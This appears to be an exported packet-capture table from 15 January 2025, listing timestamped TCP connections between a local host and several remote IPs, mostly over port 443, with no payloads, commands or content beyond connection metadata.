Jan 15, 2025 20:08:07.407412052 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408030033 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408037901 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408082008 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408087015 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408133984 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408164978 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408193111 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408200026 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408206940 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408217907 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408233881 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408237934 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408276081 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408314943 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408320904 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408463001 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408492088 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408499002 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408503056 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408530951 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.408874989 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.408920050 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409104109 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409145117 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409161091 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409164906 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409178972 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409183979 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409202099 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409204960 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409214973 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409225941 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409244061 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409252882 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409256935 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.409279108 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.409992933 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.410033941 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.410037994 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.410180092 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.497750998 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.497809887 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.497900963 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.497942924 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.497983932 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498019934 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498079062 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498114109 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498265028 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498287916 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498300076 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498306036 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498334885 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498348951 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498642921 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498672962 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498686075 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498688936 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498697996 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498708963 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498729944 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.498733044 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.498975992 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.499005079 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.499007940 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.499013901 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.499038935 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.499042988 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.499073029 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.499088049 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.499088049 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.499138117 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.507528067 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.507566929 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.507621050 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.507848978 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.507859945 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.839082003 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.839147091 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.839226007 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.839438915 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.839461088 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.898855925 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:07.898920059 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:07.972120047 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.972536087 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.972553968 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.972907066 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.973628998 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.973691940 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.974122047 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.019330025 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.119618893 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.119684935 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.119723082 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.120906115 CET	49761	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.120918036 CET	443	49761	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.310082912 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.310369968 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.310432911 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.310766935 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.311108112 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.311192036 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.311268091 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.355361938 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.422689915 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:08.422759056 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:08.422804117 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:08.438461065 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.438527107 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.438575029 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.438585043 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.438641071 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.439812899 CET	49762	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.439832926 CET	443	49762	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.601982117 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:08.602400064 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:08.602406025 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.602458000 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.602488041 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:08.602858067 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.602950096 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:08.602957964 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:08.607538939 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:09.077122927 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.077594995 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.077630043 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.078015089 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.081499100 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.081626892 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.081669092 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.121045113 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.121134996 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.216742039 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.216825962 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.216945887 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.218708992 CET	49765	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.218751907 CET	443	49765	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.230665922 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.230726957 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.230938911 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.232933044 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.232969046 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.692414999 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.695327044 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.695354939 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.695899963 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.696284056 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.696368933 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.696613073 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:09.743333101 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.840425014 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.840532064 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:09.840586901 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.114990950 CET	49767	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.115025043 CET	443	49767	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.219228029 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.219304085 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.219387054 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.219626904 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.219646931 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.728344917 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.730364084 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.730401039 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.730762959 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.731710911 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.731781006 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.731930971 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.732028008 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.732063055 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.732180119 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.732209921 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978296041 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978357077 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978394985 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978429079 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978475094 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978478909 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.978513002 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978533983 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.978564978 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.978571892 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978914976 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978948116 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.978955030 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.978965044 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.980950117 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.980967999 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.983026028 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:10.984785080 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:10.984812021 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.026314974 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.073937893 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074003935 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074033022 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074090004 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074117899 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074165106 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074297905 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074348927 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074388027 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074424028 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074430943 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074465990 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074472904 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.074527979 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074584007 CET	49768	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.074598074 CET	443	49768	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.098474026 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.098520994 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.098678112 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.098843098 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.098860979 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.580113888 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.580420971 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.580455065 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.580792904 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.581201077 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.581275940 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.581391096 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.623369932 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.701795101 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.701878071 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:11.701932907 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.703011990 CET	49770	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:11.703042984 CET	443	49770	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.448637009 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.448704004 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.448817968 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.472584963 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.472613096 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.929797888 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.930196047 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.930231094 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.930571079 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.931133032 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.931209087 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.931292057 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.931390047 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.931413889 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:15.931535959 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:15.931561947 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190418005 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190490007 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190532923 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190574884 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.190606117 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190653086 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.190661907 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190681934 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.190725088 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.194008112 CET	49771	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.194027901 CET	443	49771	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.209028006 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.209084034 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.209177017 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.209393978 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.209428072 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.220356941 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.220391035 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.220455885 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.220613956 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.220626116 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.691585064 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.691860914 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.691894054 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.692229986 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.692564964 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.692640066 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.692708969 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.739336014 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.831209898 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.831510067 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.831528902 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.832519054 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.832591057 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.833714962 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.833784103 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.834008932 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:16.834028959 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:16.849798918 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.849874020 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.850047112 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.850343943 CET	49772	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:16.850379944 CET	443	49772	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:16.885278940 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.073515892 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.073594093 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.073643923 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.074134111 CET	49773	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.074150085 CET	443	49773	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.075406075 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.075463057 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.075558901 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.075773001 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.075788021 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.727669954 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.728039980 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.728075981 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.728478909 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.728981972 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.729048967 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:17.729154110 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:17.775338888 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.039325953 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.040740013 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.040800095 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.041479111 CET	49774	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.041507006 CET	443	49774	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.070264101 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.070310116 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.070389986 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.070719957 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.070771933 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.070831060 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.071113110 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.071125984 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.071278095 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.071294069 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.088486910 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.088527918 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.088614941 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.088854074 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.088869095 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.678220987 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.678580046 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.678591013 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.680310965 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.680474043 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.682141066 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.682221889 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.682363033 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.682368994 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.689002991 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.689227104 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.689244032 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.690272093 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.690332890 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.690622091 CET	49776	443	192.168.2.4	147.45.179.114
